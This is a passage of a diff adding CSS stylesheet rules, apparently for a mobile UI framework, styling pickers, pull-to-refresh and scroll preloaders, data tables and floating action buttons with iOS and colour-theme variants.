0%; + transform-origin: 50% 0%; +} +.ios.device-pixel-ratio-2 .picker-center-highlight:before { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.ios.device-pixel-ratio-3 .picker-center-highlight:before { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.ios .picker-center-highlight:after { + content: ''; + position: absolute; + background-color: #a8abb0; + display: block; + z-index: 15; + top: auto; + right: auto; + bottom: 0; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 100%; + transform-origin: 50% 100%; +} +.ios.device-pixel-ratio-2 .picker-center-highlight:after { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.ios.device-pixel-ratio-3 .picker-center-highlight:after { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.ios .theme-dark .picker-item.picker-item-selected { + color: #fff; +} +.ios .theme-dark .picker-popover .toolbar:after, +.picker-popover.ios .theme-dark .toolbar:after { + background-color: #282829; +} +.ios .theme-dark .picker-center-highlight:before { + background-color: #282829; +} +.ios .theme-dark .picker-center-highlight:after { + background-color: #282829; +} +/* === Infinite === */ +.infinite-scroll-preloader { + margin-left: auto; + margin-right: auto; + text-align: center; +} +.infinite-scroll-preloader.preloader { + display: block; +} +.ios .infinite-scroll-preloader { + margin-top: 35px; + margin-bottom: 35px; +} +.ios .infinite-scroll-preloader .preloader, +.ios .infinite-scroll-preloader.preloader { + width: 27px; + height: 27px; +} +/* === PTR === */ +.ptr-preloader .preloader { + position: absolute; + left: 50%; +} +.ios .ptr-preloader { + position: relative; + height: 44px; + margin-top: -44px; + width: 100%; + left: 0; + top: 0; +} +.ios .ptr-preloader .preloader { + width: 27px; + height: 27px; + margin-left: -13px; + margin-top: -13px; + visibility: hidden; + top: 50%; +} +.ios .ptr-arrow { + position: absolute; + left: 50%; + top: 50%; + background: no-repeat center; + z-index: 10; + -webkit-transform: rotate(0deg) translate3d(0, 0, 0); + transform: rotate(0deg) translate3d(0, 0, 0); + -webkit-transition-duration: 300ms; + transition-duration: 300ms; + -webkit-transition-property: -webkit-transform; + transition-property: -webkit-transform; + transition-property: transform; + transition-property: transform, -webkit-transform; + width: 13px; + height: 20px; + margin-left: -6px; + margin-top: -10px; + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2026%2040'%3E%3Cpolygon%20points%3D'9%2C22%209%2C0%2017%2C0%2017%2C22%2026%2C22%2013.5%2C40%200%2C22'%20fill%3D'%238c8c8c'%2F%3E%3C%2Fsvg%3E"); + background-size: 13px 20px; + visibility: visible; +} +.ios .ptr-content:not(.ptr-refreshing) .ptr-preloader .preloader { + -webkit-animation: none; + animation: none; +} +.ios .ptr-transitioning, +.ios .ptr-refreshing { + -webkit-transition-duration: 300ms; + transition-duration: 300ms; + -webkit-transition-property: -webkit-transform; + transition-property: -webkit-transform; + transition-property: transform; + transition-property: transform, -webkit-transform; +} +.ios .ptr-refreshing { + -webkit-transform: translate3d(0, 44px, 0); + transform: translate3d(0, 44px, 0); +} +.ios .ptr-refreshing .ptr-arrow { + visibility: hidden; +} +.ios .ptr-refreshing .ptr-preloader .preloader { + visibility: visible; +} +.ios .ptr-pull-up .ptr-arrow { + -webkit-transform: rotate(180deg) translate3d(0, 0, 0); + transform: rotate(180deg) translate3d(0, 0, 0); +} +.ios .ptr-no-navbar { + margin-top: -44px; + height: calc(100% + 44px); +} +.ios .ptr-no-navbar .ptr-preloader { + margin-top: 0; +} +/* === Images Lazy Loading === */ +.lazy-loaded.lazy-fade-in { + -webkit-animation: lazyFadeIn 600ms; + animation: lazyFadeIn 600ms; +} +@-webkit-keyframes lazyFadeIn { + from { + opacity: 0; + } + to { + opacity: 1; + } +} +@keyframes lazyFadeIn { + from { + opacity: 0; + } + to { + opacity: 1; + } +} +/* === Data Table === */ +.data-table { + overflow-x: auto; +} +.data-table table { + width: 100%; + border: none; + padding: 0; + margin: 0; + border-collapse: collapse; + text-align: right; +} +.data-table thead { + font-size: 12px; +} +.data-table thead th, +.data-table thead td { + overflow: hidden; + white-space: nowrap; + text-overflow: ellipsis; + line-height: 16px; +} +.data-table thead i.icon, +.data-table thead i.f7-icons, +.data-table thead i.material-icons { + vertical-align: top; +} +.data-table th, +.data-table td { + padding: 0; + position: relative; +} +.data-table th.numeric-cell, +.data-table td.numeric-cell { + text-align: left; +} +.data-table th.checkbox-cell, +.data-table td.checkbox-cell { + overflow: visible; +} +.data-table th.checkbox-cell label + span, +.data-table td.checkbox-cell label + span { + margin-right: 8px; +} +.data-table th.actions-cell, +.data-table td.actions-cell { + text-align: left; + white-space: nowrap; +} +.data-table th a.icon-only, +.data-table td a.icon-only, +.card .data-table th a.icon-only, +.card .data-table td a.icon-only, +.card.data-table th a.icon-only, +.card.data-table td a.icon-only { + display: inline-block; + vertical-align: middle; + text-align: center; + font-size: 0; + min-width: 0; +} +.data-table th a.icon-only i, +.data-table td a.icon-only i, +.card .data-table th a.icon-only i, +.card .data-table td a.icon-only i, +.card.data-table th a.icon-only i, +.card.data-table td a.icon-only i { + font-size: 18px; + vertical-align: middle; +} +.data-table .sortable-cell:not(.input-cell) { + cursor: pointer; + position: relative; +} +.data-table .sortable-cell.input-cell .table-head-label { + cursor: pointer; + position: relative; +} +.data-table .sortable-cell:not(.numeric-cell):not(.input-cell):after, +.data-table .sortable-cell.numeric-cell:not(.input-cell):before, +.data-table .sortable-cell:not(.numeric-cell).input-cell > .table-head-label:after, +.data-table .sortable-cell.numeric-cell.input-cell > .table-head-label:before { + content: ''; + display: inline-block; + vertical-align: top; + width: 16px; + height: 16px; + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20fill%3D'%23000000'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%20width%3D'24'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M0%200h24v24H0V0z'%20fill%3D'none'%2F%3E%3Cpath%20d%3D'M20%2012l-1.41-1.41L13%2016.17V4h-2v12.17l-5.58-5.59L4%2012l8%208%208-8z'%20fill%3D'%23000000'%2F%3E%3C%2Fsvg%3E"); + background-size: 100% auto; + background-position: center; + background-repeat: no-repeat; + font-size: 0; + -webkit-transition-duration: 300ms; + transition-duration: 300ms; + -webkit-transform: rotate(0); + transform: rotate(0); + opacity: 0; +} +html.device-desktop .data-table .sortable-cell:not(.sortable-cell-active):hover:after, +html.device-desktop .data-table .sortable-cell:not(.sortable-cell-active) .table-head-label:hover:after, +html.device-desktop .data-table .sortable-cell:not(.sortable-cell-active):hover:before, +html.device-desktop .data-table .sortable-cell:not(.sortable-cell-active) .table-head-label:hover:before { + opacity: 0.54; +} +.data-table .sortable-cell.sortable-cell-active:after, +.data-table .sortable-cell.sortable-cell-active .table-head-label:after, +.data-table .sortable-cell.sortable-cell-active:before, +.data-table .sortable-cell.sortable-cell-active .table-head-label:before { + opacity: 0.87 !important; +} +.data-table .sortable-cell.sortable-desc:after, +.data-table .sortable-cell.sortable-desc:after, +.data-table .table-head-label:after, +.data-table .sortable-cell.sortable-desc:before, +.data-table .sortable-cell.sortable-desc:before, +.data-table .table-head-label:before { + -webkit-transform: rotate(180deg) !important; + transform: rotate(180deg) !important; +} +.data-table.card .card-header, +.card .data-table .card-header { + height: 64px; +} +.data-table.card .card-content, +.card .data-table .card-content { + overflow-x: auto; +} +.data-table .data-table-links, +.data-table .data-table-actions { + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; +} +.data-table .data-table-actions { + margin-right: auto; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; +} +.data-table .data-table-actions a.link { + min-width: 0; +} +.data-table .data-table-actions a.link.icon-only { + line-height: 1; + -webkit-box-pack: center; + -webkit-justify-content: center; + -ms-flex-pack: center; + justify-content: center; + padding: 0; +} +.data-table .data-table-header, +.data-table .data-table-header-selected { + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-pack: justify; + -webkit-justify-content: space-between; + -ms-flex-pack: justify; + justify-content: space-between; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; + width: 100%; +} +.data-table .data-table-header-selected { + display: none; +} +.data-table.data-table-has-checked .data-table-header { + display: none; +} +.data-table.data-table-has-checked .data-table-header-selected { + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; +} +.data-table .data-table-title-selected { + font-size: 14px; +} +.data-table .data-table-footer { + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; + -webkit-box-sizing: border-box; + box-sizing: border-box; + position: relative; + font-size: 12px; + overflow: hidden; + -webkit-box-pack: start; + -webkit-justify-content: flex-start; + -ms-flex-pack: start; + justify-content: flex-start; +} +.data-table .data-table-rows-select, +.data-table .data-table-pagination { + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; +} +@media (max-width: 480px) and (orientation: portrait) { + .data-table.data-table-collapsible thead { + display: none; + } + .data-table.data-table-collapsible tbody, + .data-table.data-table-collapsible tr, + .data-table.data-table-collapsible td { + display: block; + } + .data-table.data-table-collapsible tr { + position: relative; + } + .data-table.data-table-collapsible tr:hover { + background-color: inherit; + } + .data-table.data-table-collapsible td { + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-align-content: center; + -ms-flex-line-pack: center; + align-content: center; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; + -webkit-box-pack: start; + -webkit-justify-content: flex-start; + -ms-flex-pack: start; + justify-content: flex-start; + text-align: right; + } + .data-table.data-table-collapsible td:before { + display: none !important; + } + .data-table.data-table-collapsible td:not(.checkbox-cell):before { + width: 40%; + display: block !important; + content: attr(data-collapsible-title); + position: relative; + height: auto; + background: none !important; + -webkit-transform: none !important; + transform: none !important; + font-size: 12px; + margin-left: 16px; + -webkit-flex-shrink: 0; + -ms-flex-negative: 0; + flex-shrink: 0; + } + .data-table.data-table-collapsible td.checkbox-cell { + position: absolute; + top: 0; + right: 0; + } + .data-table.data-table-collapsible td.checkbox-cell + td { + padding-right: 16px; + } + .data-table.data-table-collapsible td.checkbox-cell ~ td { + margin-right: 32px; + } +} +.data-table .tablet-only, +.data-table .tablet-landscape-only { + display: none; +} +@media (min-width: 768px) { + .data-table .tablet-only { + display: table-cell; + } +} +@media (min-width: 768px) and (orientation: landscape) { + .data-table .tablet-landscape-only { + display: table-cell; + } +} +.theme-dark .data-table .sortable-cell:not(.numeric-cell):not(.input-cell):after, +.theme-dark .data-table .sortable-cell.numeric-cell:not(.input-cell):before, +.theme-dark .data-table .sortable-cell:not(.numeric-cell).input-cell > .table-head-label:after, +.theme-dark .data-table .sortable-cell.numeric-cell.input-cell > .table-head-label:before { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20fill%3D'%23fff'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%20width%3D'24'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M0%200h24v24H0V0z'%20fill%3D'none'%2F%3E%3Cpath%20d%3D'M20%2012l-1.41-1.41L13%2016.17V4h-2v12.17l-5.58-5.59L4%2012l8%208%208-8z'%20fill%3D'%23fff'%2F%3E%3C%2Fsvg%3E"); +} +.ios .data-table thead th, +.ios .data-table thead td { + font-weight: 600; +} +.ios .data-table thead th:not(.sortable-cell-active), +.ios .data-table thead td:not(.sortable-cell-active) { + color: #8e8e93; +} +.ios .data-table thead i.icon, +.ios .data-table thead i.f7-icons { + font-size: 18px; + width: 18px; + height: 18px; +} +.ios .data-table tbody tr.data-table-row-selected { + background: #f7f7f8; +} +.ios .data-table th, +.ios .data-table td { + padding-left: 15px; + padding-right: 15px; + height: 44px; +} +.ios .data-table th.checkbox-cell, +.ios .data-table td.checkbox-cell { + width: 22px; + padding-left: 7px; +} +.ios .data-table th.checkbox-cell + td, +.ios .data-table td.checkbox-cell + td, +.ios .data-table th.checkbox-cell + th, +.ios .data-table td.checkbox-cell + th { + padding-right: 8px; +} +.ios .data-table th.actions-cell a.link + a.link, +.ios .data-table td.actions-cell a.link + a.link { + margin-right: 15px; +} +.ios .data-table th.actions-cell a.icon-only, +.ios .data-table td.actions-cell a.icon-only { + width: 18px; + height: 18px; + line-height: 18px; +} +.ios .sortable-cell:not(.numeric-cell):after { + margin-right: 5px; +} +.ios .sortable-cell.numeric-cell:before { + margin-left: 5px; +} +.ios .data-table.card .card-header, +.ios .card .data-table .card-header, +.ios .data-table.card .card-footer, +.ios .card .data-table .card-footer { + padding-right: 15px; + padding-left: 8px; +} +.ios .data-table-title { + font-size: 17px; + font-weight: 600; +} +.ios .data-table-links a.link + a.link, +.ios .data-table-actions a.link + a.link { + margin-right: 15px; +} +.ios .data-table-actions a.link.icon-only { + width: 44px; + height: 44px; +} +.ios .data-table-actions i.icon, +.ios .data-table-actions i.f7-icons { + font-size: 22px; +} +.ios .data-table .card-header > .data-table-header, +.ios .data-table .card-header > .data-table-header-selected { + padding-top: 10px; + padding-bottom: 10px; + height: 100%; + padding-right: 15px; + padding-left: 8px; + margin-right: -15px; + margin-left: -8px; +} +.ios .data-table-header-selected { + background: rgba(0, 122, 255, 0.1); +} +.ios .data-table-title-selected { + color: #007aff; +} +.ios .data-table tbody td:before { + content: ''; + position: absolute; + background-color: #c8c7cc; + display: block; + z-index: 15; + top: 0; + right: auto; + bottom: auto; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 0%; + transform-origin: 50% 0%; +} +.ios.device-pixel-ratio-2 .data-table tbody td:before { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.ios.device-pixel-ratio-3 .data-table tbody td:before { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.ios.device-desktop .data-table tbody tr:hover { + background: #f7f7f8; +} +.ios .data-table-footer { + height: 44px; + color: #8e8e93; +} +.ios .data-table-rows-select a.link, +.ios .data-table-pagination a.link { + width: 44px; + height: 44px; +} +.ios .data-table-rows-select + .data-table-pagination { + margin-right: 30px; +} +.ios .data-table-rows-select .input { + margin-right: 20px; +} +.ios .data-table-pagination-label { + margin-left: 15px; +} +.ios .data-table-footer:before { + content: ''; + position: absolute; + background-color: #c8c7cc; + display: block; + z-index: 15; + top: 0; + right: auto; + bottom: auto; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 0%; + transform-origin: 50% 0%; +} +.ios.device-pixel-ratio-2 .data-table-footer:before { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.ios.device-pixel-ratio-3 .data-table-footer:before { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.ios .input-cell { + padding-top: 8px; + padding-bottom: 8px; + height: auto; + vertical-align: top; +} +.ios .input-cell .table-head-label + .input { + margin-top: 4px; +} +.ios .input-cell .input { + height: 24px; +} +.ios .input-cell .input input, +.ios .input-cell .input textarea, +.ios .input-cell .input select { + height: 24px; + color: #000; + font-size: 14px; +} +@media (max-width: 480px) and (orientation: portrait) { + .ios .data-table.data-table-collapsible td:not(.checkbox-cell):before { + color: #8e8e93; + font-weight: 600; + } + .ios .data-table-collapsible tr:before { + content: ''; + position: absolute; + background-color: #c8c7cc; + display: block; + z-index: 15; + top: 0; + right: auto; + bottom: auto; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 0%; + transform-origin: 50% 0%; + } + .ios.device-pixel-ratio-2 .data-table-collapsible tr:before { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); + } + .ios.device-pixel-ratio-3 .data-table-collapsible tr:before { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); + } +} +.ios .theme-dark .data-table tbody td:before, +.data-table.ios .theme-dark tbody td:before { + background-color: #282829; +} +.ios .theme-dark .data-table.data-table-collapsible tr:before, +.data-table.ios .theme-dark.data-table-collapsible tr:before { + background-color: #282829; +} +.ios .theme-dark .data-table tbody tr.data-table-row-selected, +.data-table.ios .theme-dark tbody tr.data-table-row-selected { + background-color: #363636; +} +.ios.device-desktop .theme-dark .data-table tbody tr:hover, +.ios.device-desktop .theme-dark.data-table tbody tr:hover { + background: #363636; +} +.ios .color-theme-red .data-table-header-selected, +.ios .data-table-header-selected.color-red { + background: rgba(255, 59, 48, 0.1); +} +.ios .color-theme-red .data-table-title-selected, +.ios .color-red .data-table-title-selected { + color: #ff3b30; +} +.ios .color-theme-green .data-table-header-selected, +.ios .data-table-header-selected.color-green { + background: rgba(76, 217, 100, 0.1); +} +.ios .color-theme-green .data-table-title-selected, +.ios .color-green .data-table-title-selected { + color: #4cd964; +} +.ios .color-theme-blue .data-table-header-selected, +.ios .data-table-header-selected.color-blue { + background: rgba(0, 122, 255, 0.1); +} +.ios .color-theme-blue .data-table-title-selected, +.ios .color-blue .data-table-title-selected { + color: #007aff; +} +.ios .color-theme-pink .data-table-header-selected, +.ios .data-table-header-selected.color-pink { + background: rgba(255, 45, 85, 0.1); +} +.ios .color-theme-pink .data-table-title-selected, +.ios .color-pink .data-table-title-selected { + color: #ff2d55; +} +.ios .color-theme-yellow .data-table-header-selected, +.ios .data-table-header-selected.color-yellow { + background: rgba(255, 204, 0, 0.1); +} +.ios .color-theme-yellow .data-table-title-selected, +.ios .color-yellow .data-table-title-selected { + color: #ffcc00; +} +.ios .color-theme-orange .data-table-header-selected, +.ios .data-table-header-selected.color-orange { + background: rgba(255, 149, 0, 0.1); +} +.ios .color-theme-orange .data-table-title-selected, +.ios .color-orange .data-table-title-selected { + color: #ff9500; +} +.ios .color-theme-gray .data-table-header-selected, +.ios .data-table-header-selected.color-gray { + background: rgba(142, 142, 147, 0.1); +} +.ios .color-theme-gray .data-table-title-selected, +.ios .color-gray .data-table-title-selected { + color: #8e8e93; +} +.ios .color-theme-white .data-table-header-selected, +.ios .data-table-header-selected.color-white { + background: rgba(255, 255, 255, 0.1); +} +.ios .color-theme-white .data-table-title-selected, +.ios .color-white .data-table-title-selected { + color: #ffffff; +} +.ios .color-theme-black .data-table-header-selected, +.ios .data-table-header-selected.color-black { + background: rgba(0, 0, 0, 0.1); +} +.ios .color-theme-black .data-table-title-selected, +.ios .color-black .data-table-title-selected { + color: #000000; +} +/* === FAB === */ +.fab { + position: absolute; + z-index: 1500; +} +.fab > a, +.fab-buttons a { + position: relative; + -webkit-transition-duration: 300ms; + transition-duration: 300ms; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; + -webkit-box-pack: center; + -webkit-justify-content: center; + -ms-flex-pack: center; + justify-content: center; + overflow: hidden; + z-index: 1; +} +.fab > a i { + position: absolute; + left: 50%; + top: 50%; + -webkit-transform: translate3d(-50%, -50%, 0) rotate(0deg) scale(1); + transform: translate3d(-50%, -50%, 0) rotate(0deg) scale(1); + -webkit-transition: 300ms; + transition: 300ms; +} +.fab > a i + i { + -webkit-transform: translate3d(-50%, -50%, 0) rotate(-90deg) scale(0.5); + transform: translate3d(-50%, -50%, 0) rotate(-90deg) scale(0.5); + opacity: 0; +} +.fab[class*="fab-center"] { + left: 50%; + -webkit-transform: translateX(-50%); + transform: translateX(-50%); +} +.fab[class*="left-center"], +.fab[class*="right-center"] { + top: 50%; + -webkit-transform: translateY(-50%); + transform: translateY(-50%); +} +.fab[class*="center-center"] { + top: 50%; + left: 50%; + -webkit-transform: translateX(-50%) translateY(-50%); + transform: translateX(-50%) translateY(-50%); +} +.fab div.fab-buttons a { + width: 40px; + height: 40px; +} +.fab-buttons { + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + visibility: hidden; + pointer-events: none; + position: absolute; +} +.fab-buttons a { + opacity: 0; +} +.fab-opened:not(.fab-morph) > a i { + -webkit-transform: translate3d(-50%, -50%, 0) rotate(90deg) scale(0.5); + transform: translate3d(-50%, -50%, 0) rotate(90deg) scale(0.5); + opacity: 0; +} +.fab-opened:not(.fab-morph) > a i + i { + -webkit-transform: translate3d(-50%, -50%, 0) rotate(0deg) scale(1); + transform: translate3d(-50%, -50%, 0) rotate(0deg) scale(1); + opacity: 1; +} +.fab-opened .fab-buttons { + visibility: visible; + pointer-events: auto; +} +.fab-opened .fab-buttons a { + opacity: 1; + -webkit-transform: translate3d(0, 0px, 0) scale(1) !important; + transform: translate3d(0, 0px, 0) scale(1) !important; +} +.fab-opened .fab-buttons a:nth-child(2) { + -webkit-transition-delay: 50ms; + transition-delay: 50ms; +} +.fab-opened .fab-buttons a:nth-child(3) { + -webkit-transition-delay: 100ms; + transition-delay: 100ms; +} +.fab-opened .fab-buttons a:nth-child(4) { + -webkit-transition-delay: 150ms; + transition-delay: 150ms; +} +.fab-opened .fab-buttons a:nth-child(5) { + -webkit-transition-delay: 200ms; + transition-delay: 200ms; +} +.fab-opened .fab-buttons a:nth-child(6) { + -webkit-transition-delay: 250ms; + transition-delay: 250ms; +} +.fab-buttons-top, +.fab-buttons-bottom { + left: 50%; + width: 40px; + margin-left: -20px; +} +.fab-buttons-top { + bottom: 100%; + margin-bottom: 16px; + -webkit-box-orient: vertical; + -webkit-box-direction: reverse; + -webkit-flex-direction: column-reverse; + -ms-flex-direction: column-reverse; + flex-direction: column-reverse; +} +.fab-buttons-top a { + -webkit-transform: translate3d(0, 8px, 0) scale(0.3); + transform: translate3d(0, 8px, 0) scale(0.3); + -webkit-transform-origin: center bottom; + transform-origin: center bottom; +} +.fab-buttons-top a + a { + margin-bottom: 16px; +} +.fab-buttons-bottom { + top: 100%; + margin-top: 16px; + -webkit-box-orient: vertical; + -webkit-box-direction: normal; + -webkit-flex-direction: column; + -ms-flex-direction: column; + flex-direction: column; +} +.fab-buttons-bottom a { + -webkit-transform: translate3d(0, -8px, 0) scale(0.3); + transform: translate3d(0, -8px, 0) scale(0.3); + -webkit-transform-origin: center top; + transform-origin: center top; +} +.fab-buttons-bottom a + a { + margin-top: 16px; +} +.fab-buttons-left, +.fab-buttons-right { + top: 50%; + height: 40px; + margin-top: -20px; +} +.fab-buttons-left { + right: 100%; + margin-right: 16px; +} +.fab-buttons-left a { + -webkit-transform: translate3d(8px, 0px, 0) scale(0.3); + transform: translate3d(8px, 0px, 0) scale(0.3); + -webkit-transform-origin: right center; + transform-origin: right center; +} +.fab-buttons-left a + a { + margin-right: 16px; +} +.fab-buttons-right { + left: 100%; + margin-left: 16px; + -webkit-box-orient: horizontal; + -webkit-box-direction: reverse; + -webkit-flex-direction: row-reverse; + -ms-flex-direction: row-reverse; + flex-direction: row-reverse; +} +.fab-buttons-right a { + -webkit-transform: translate3d(-8px, 0, 0) scale(0.3); + transform: translate3d(-8px, 0, 0) scale(0.3); + -webkit-transform-origin: left center; + transform-origin: left center; +} +.fab-buttons-right a + a { + margin-left: 16px; +} +.fab-buttons-center { + left: 0%; + top: 0%; + width: 100%; + height: 100%; +} +.fab-buttons-center a { + position: absolute; +} +.fab-buttons-center a:nth-child(1) { + left: 50%; + margin-left: -20px; + bottom: 100%; + margin-bottom: 16px; + -webkit-transform: translateY(-8px) scale(0.3); + transform: translateY(-8px) scale(0.3); + -webkit-transform-origin: center bottom; + transform-origin: center bottom; +} +.fab-buttons-center a:nth-child(2) { + left: 100%; + margin-top: -20px; + top: 50%; + margin-left: 16px; + -webkit-transform: translateX(-8px) scale(0.3); + transform: translateX(-8px) scale(0.3); + -webkit-transform-origin: left center; + transform-origin: left center; +} +.fab-buttons-center a:nth-child(3) { + left: 50%; + margin-left: -20px; + top: 100%; + margin-top: 16px; + -webkit-transform: translateY(8px) scale(0.3); + transform: translateY(8px) scale(0.3); + -webkit-transform-origin: center top; + transform-origin: center top; +} +.fab-buttons-center a:nth-child(4) { + right: 100%; + margin-top: -20px; + top: 50%; + margin-right: 16px; + -webkit-transform: translateX(8px) scale(0.3); + transform: translateX(8px) scale(0.3); + -webkit-transform-origin: right center; + transform-origin: right center; +} +.fab-opened.fab-morph > a i { + opacity: 0; +} +.fab-morph, +.fab-morph > a, +.fab-morph-target { + -webkit-transition-duration: 250ms; + transition-duration: 250ms; +} +.fab-morph-target:not(.fab-morph-target-visible) { + display: none; +} +.fab-extended { + width: auto; +} +.fab-extended > a { + width: 100% !important; +} +.fab-text { + padding-left: 20px; + padding-right: 20px; + -webkit-box-sizing: border-box; + box-sizing: border-box; + font-size: 14px; + text-transform: uppercase; +} +.fab-label-button { + overflow: visible !important; +} +.fab-label { + position: absolute; + top: 50%; + padding: 4px 12px; + border-radius: 4px; + background: #fff; + color: #333; + white-space: nowrap; + -webkit-transform: translateY(-50%); + transform: translateY(-50%); + pointer-events: none; +} +.fab[class*="fab-right-"] .fab-label { + right: 100%; + margin-right: 8px; +} +.fab[class*="fab-left-"] .fab-label { + left: 100%; + margin-left: 8px; +} +.ios .fab > a, +.ios .fab-buttons a { + background: #007aff; + width: 50px; + height: 50px; + -webkit-box-shadow: 0px 2px 4px rgba(0, 0, 0, 0.4); + box-shadow: 0px 2px 4px rgba(0, 0, 0, 0.4); + border-radius: 25px; + color: #fff; +} +.ios .fab > a.active-state, +.ios .fab-buttons a.active-state { + -webkit-transition-duration: 0ms; + transition-duration: 0ms; + background: #0066d6; +} +.ios .fab > a i.icon, +.ios .fab-buttons a i.icon { + font-size: 21px; +} +.ios .fab[class*="fab-left"] { + left: 15px; +} +.ios .fab[class*="fab-right"] { + right: 15px; +} +.ios .fab[class*="-top"] { + top: 15px; +} +.ios .fab[class*="-bottom"] { + bottom: 15px; +} +.ios .navbar ~ * .fab[class*="-top"], +.ios .navbar ~ .fab[class*="-top"] { + margin-top: 44px; +} +.ios .toolbar ~ * .fab[class*="-bottom"], +.ios .toolbar ~ .fab[class*="-bottom"] { + margin-bottom: 44px; +} +.ios .tabbar-labels ~ * .fab[class*="-bottom"], +.ios .tabbar-labels ~ .fab[class*="-bottom"] { + margin-bottom: 50px; +} +@media (min-width: 768px) { + .ios .tabbar-labels ~ * .fab[class*="-bottom"], + .ios .tabbar-labels ~ .fab[class*="-bottom"] { + margin-bottom: 56px; + } +} +.ios .fab-morph { + border-radius: 25px; + background: #007aff; + -webkit-box-shadow: 0px 2px 4px rgba(0, 0, 0, 0.4); + box-shadow: 0px 2px 4px rgba(0, 0, 0, 0.4); +} +.ios .fab-morph > a { + -webkit-box-shadow: none; + box-shadow: none; + background: none !important; +} +.ios .fab-extended { + min-width: 50px; +} +.ios .fab-extended > a { + width: 100%; + height: 50px; +} +.ios .fab-extended > a i { + left: 25px; +} +.ios .fab-extended i ~ .fab-text { + padding-left: 50px; +} +.ios .fab-label { + -webkit-box-shadow: 0px 1px 2px rgba(0, 0, 0, 0.4); + box-shadow: 0px 1px 2px rgba(0, 0, 0, 0.4); +} +.ios .color-theme-red .fab > a, +.ios .color-theme-red .fab-buttons a, +.ios .color-theme-red.fab > a, +.ios .color-theme-red.fab-buttons a { + background: #ff3b30; +} +.ios .color-theme-red .fab > a.active-state, +.ios .color-theme-red .fab-buttons a.active-state, +.ios .color-theme-red.fab > a.active-state, +.ios .color-theme-red.fab-buttons a.active-state { + background: #ff1407; +} +.ios .color-theme-red .fab-morph, +.ios .color-theme-red.fab-morph { + background: #ff3b30; +} +.ios .color-theme-green .fab > a, +.ios .color-theme-green .fab-buttons a, +.ios .color-theme-green.fab > a, +.ios .color-theme-green.fab-buttons a { + background: #4cd964; +} +.ios .color-theme-green .fab > a.active-state, +.ios .color-theme-green .fab-buttons a.active-state, +.ios .color-theme-green.fab > a.active-state, +.ios .color-theme-green.fab-buttons a.active-state { + background: #2cd048; +} +.ios .color-theme-green .fab-morph, +.ios .color-theme-green.fab-morph { + background: #4cd964; +} +.ios .color-theme-blue .fab > a, +.ios .color-theme-blue .fab-buttons a, +.ios .color-theme-blue.fab > a, +.ios .color-theme-blue.fab-buttons a { + background: #007aff; +} +.ios .color-theme-blue .fab > a.active-state, +.ios .color-theme-blue .fab-buttons a.active-state, +.ios .color-theme-blue.fab > a.active-state, +.ios .color-theme-blue.fab-buttons a.active-state { + background: #0066d6; +} +.ios .color-theme-blue .fab-morph, +.ios .color-theme-blue.fab-morph { + background: #007aff; +} +.ios .color-theme-pink .fab > a, +.ios .color-theme-pink .fab-buttons a, +.ios .color-theme-pink.fab > a, +.ios .color-theme-pink.fab-buttons a { + background: #ff2d55; +} +.ios .color-theme-pink .fab > a.active-state, +.ios .color-theme-pink .fab-buttons a.active-state, +.ios .color-theme-pink.fab > a.active-state, +.ios .color-theme-pink.fab-buttons a.active-state { + background: #ff0434; +} +.ios .color-theme-pink .fab-morph, +.ios .color-theme-pink.fab-morph { + background: #ff2d55; +} +.ios .color-theme-yellow .fab > a, +.ios .color-theme-yellow .fab-buttons a, +.ios .color-theme-yellow.fab > a, +.ios .color-theme-yellow.fab-buttons a { + background: #ffcc00; +} +.ios .color-theme-yellow .fab > a.active-state, +.ios .color-theme-yellow .fab-buttons a.active-state, +.ios .color-theme-yellow.fab > a.active-state, +.ios .color-theme-yellow.fab-buttons a.active-state { + background: #d6ab00; +} +.ios .color-theme-yellow .fab-morph, +.ios .color-theme-yellow.fab-morph { + background: #ffcc00; +} +.ios .color-theme-orange .fab > a, +.ios .color-theme-orange .fab-buttons a, +.ios .color-theme-orange.fab > a, +.ios .color-theme-orange.fab-buttons a { + background: #ff9500; +} +.ios .color-theme-orange .fab > a.active-state, +.ios .color-theme-orange .fab-buttons a.active-state, +.ios .color-theme-orange.fab > a.active-state, 